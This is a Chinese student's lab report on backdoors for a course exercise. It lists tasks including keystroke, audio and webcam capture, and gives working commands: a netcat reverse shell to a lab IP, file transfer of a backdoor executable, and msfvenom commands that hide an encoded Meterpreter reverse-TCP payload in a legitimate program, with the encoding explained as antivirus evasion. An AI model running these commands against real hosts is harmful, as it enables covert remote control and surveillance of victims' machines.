Exp2:后门原理与实践

Exp2:后门原理与实践

1 实践目标

  • 任务一:使用netcat获取主机操作Shell,cron启动 (0.5分)

  • 任务二:使用socat获取主机操作Shell, 任务计划启动 (0.5分)

  • 任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)

  • 任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (2分)

2 简单后门

2.1 Ncat

2.1.1Linux获得Win Shell

  • Linux运行监听指令
    nc -l -p 5117
  • Windows反弹连接Linux
    C:\Users\Game\Desktop\ncat\ncat.exe -e cmd.exe 192.168.43.118 5117
  • Linux下看到Windows的命令提示

利用NC传送后门

既然得到了windows的shell,那么就可以利用来传送后门。
传输文件步骤如下

  • 在本机上执行命令
    nc -l 9999 <backdoor.exe
  • 在接收文件的机器上执行命令
    ncat.exe -e cmd.exe 192.168.43.118 9999 > backdoor.exe

2.2Meterpreter

2.2.1 生成backdoor.exe,复制到Win

利用下面指令生成win后门程序backdoor.exe

root@KaliYL:/home/YL# msfvenom -p windows/meterpreter/reverse_tcp -x ./KiTTYPortable.exe -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=192.168.20.136 LPORT=443 -f exe > KiTTy_backdoor.exe
  • -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
  • -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
  • -e 使用的编码器,用于对shellcode变形,为了免杀。
  • -i 编码器的迭代次数。如上即使用该编码器编码5次。
  • -b badchar是payload中需要去除的字符。
  • LHOST 是反弹回连的IP
  • LPORT 是回连的端口
  • -f 生成文件的类型
  • 输出到哪个文件

实践过程中发现利用msfvenom(荷载生成器)生成的32位exe程序不是有效的win32位程序,无法运行,于是自己写了一个HelloWorld程序。但是要注意的是,由于HelloWorld只有一个输出,运行完会直接return退出程序,这样无法保证后门程序一直运行,这也是很多同学自己写的后门程序连接成功后就直接退出的原因。所以我在程序最后添加了getchar()函数。

修改代码如下

msfvenom -p windows/meterpreter/reverse_tcp -x ./hello.exe -e x86/shikata_ga_nai -i 5 -b ‘\x00’ LHOST=192.168.43.118 LPORT=1000 -f exe > backdoor.exe

之后操作msfconsole如图所示

posted @ 2018-03-30 10:56  20155117王震宇  阅读(334)  评论(0编辑  收藏  举报